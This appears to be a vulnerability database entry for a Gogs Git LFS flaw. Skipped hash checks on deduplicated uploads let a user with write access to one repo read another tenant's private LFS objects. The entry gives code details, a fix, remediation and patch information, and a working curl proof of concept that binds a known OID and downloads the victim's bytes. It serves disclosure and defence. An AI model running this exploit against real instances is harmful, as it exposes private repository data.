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Network-reachable with low complexity and only repo write access (PR:L); scope changes because a bound repo crosses into another tenant's private data, yielding high confidentiality but no integrity or availability impact.
Primary rating from Vendor (https://github.com/gogs/gogs).
CVSS VectorVendor: https://github.com/gogs/gogs
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Summary
Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.
Details
Dedupe shortcut at internal/lfsx/storage.go:79-82:
if fi, err := os.Stat(fpath); err == nil {
_, _ = io.Copy(io.Discard, rc)
return fi.Size(), nil // ← returns success with no hash check
}Hash verification at internal/lfsx/storage.go:106-108 only runs in the *new-file* branch - the dedupe path returns earlier.
serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.
serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.
Suggested fix
- In
LocalStorage.Upload, whenos.Stat(fpath) == nil, hash the request body viaio.TeeReaderandErrOIDMismatchon disagreement - same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content. - Optional second layer: in
serveUpload, refuseCreateLFSObjectunless the OID is referenced by an LFS pointer in the requesting repo's refs.
PoC
Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).
Reproduction prerequisites
- Running gogs ≥ 0.12.0 with
[lfs] ENABLED = true. - Two accounts:
alice(private reposecrets) andbob(any repobob/scratch); bob has no access toalice/secrets. - An OID known to be present in
alice/secrets- leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).
Setup (testbed simulation of the victim's prior state)
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'
VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary @- \
"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"Attack - bob has only $OID, not $VICTIM_BYTES
unset VICTIM_BYTES
# attacker has no idea what the file contains
# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
-H 'Accept: application/vnd.git-lfs+json' \
-H 'Content-Type: application/vnd.git-lfs+json' \
-X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
--data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}
# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
# so LocalStorage.Upload takes the dedupe shortcut: drains the body
# without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary 'irrelevant attacker-controlled bytes' \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK
# 3. Download via bob's repo - gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactlyIndependent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
sed -n '63,114p' internal/lfsx/storage.go
# dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go
# serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go
# composite (RepoID, OID) PK - multiple repos can share an OID rowImpact
- Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers - all extracted byte-for-byte.
- Persistent: the
(bob/scratch, OID)row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.
AnalysisAI
Cross-tenant information disclosure in Gogs (self-hosted Git service) before 0.14.3 lets any user with write access to a single repository read the byte-for-byte contents of Git LFS objects belonging to private repositories they cannot otherwise access. Because LFS storage is content-addressed by OID alone while authorization is tracked per-repo, an attacker who learns a victim object's OID can bind it to their own repo via the upload endpoint - which skips hash verification on the dedupe path - and then download the original private bytes. The GHSA advisory publishes a complete working proof-of-concept; there is no evidence of active in-the-wild exploitation.
Technical ContextAI
The flaw lives in Gogs' Git Large File Storage (LFS) implementation. LFS objects are stored on a shared, content-addressed filesystem path (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) where the OID is a SHA-256 of the file content, but per-repository ownership is recorded separately in the lfs_object table keyed on the composite (repo_id, oid) primary key. The root cause is CWE-345 (Insufficient Verification of Data Authenticity): LocalStorage.Upload (internal/lfsx/storage.go:79-82) takes a deduplication shortcut when os.Stat shows the OID file already exists on disk - it drains the request body to io.Discard and returns the existing file's size without ever hashing the submitted bytes. The SHA-256 verification at storage.go:106-108 only executes in the new-file branch. serveUpload (internal/route/lfs/basic.go:78-114) then trusts that success and calls CreateLFSObject, an unconditional INSERT that creates a (repo_id, oid) binding with no check that the OID is referenced by the requesting repo's git history. The affected package per CPE is pkg:go/gogs.io_gogs.
RemediationAI
Upgrade to Gogs 0.14.3, which is the vendor-released patch (PR https://github.com/gogs/gogs/pull/8333, commit f35a767af74e05342bafc6fdda02c791816426f8, release https://github.com/gogs/gogs/releases/tag/v0.14.3); the fix makes the dedupe path hash the request body via io.TeeReader and return ErrOIDMismatch when the bytes do not match the claimed OID, so retries must now send the correct content. If you cannot patch immediately, the most effective compensating control is to disable LFS entirely by setting [lfs] ENABLED = false, which fully closes the vector but breaks any workflow relying on large-file storage; where LFS must stay enabled, tightly restrict who holds write/push access to repositories on the instance (the attack requires write to at least one repo) and treat all per-repo LFS object access as an audit point, since a successful bind leaves only a 200 in the LFS access log. Review the lfs_object table for unexpected (repo_id, oid) rows after upgrading, because prior malicious binds persist and continue granting read access until the row is manually removed.
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Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
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EUVD-2026-39083
GHSA-6p9m-q3jp-47h4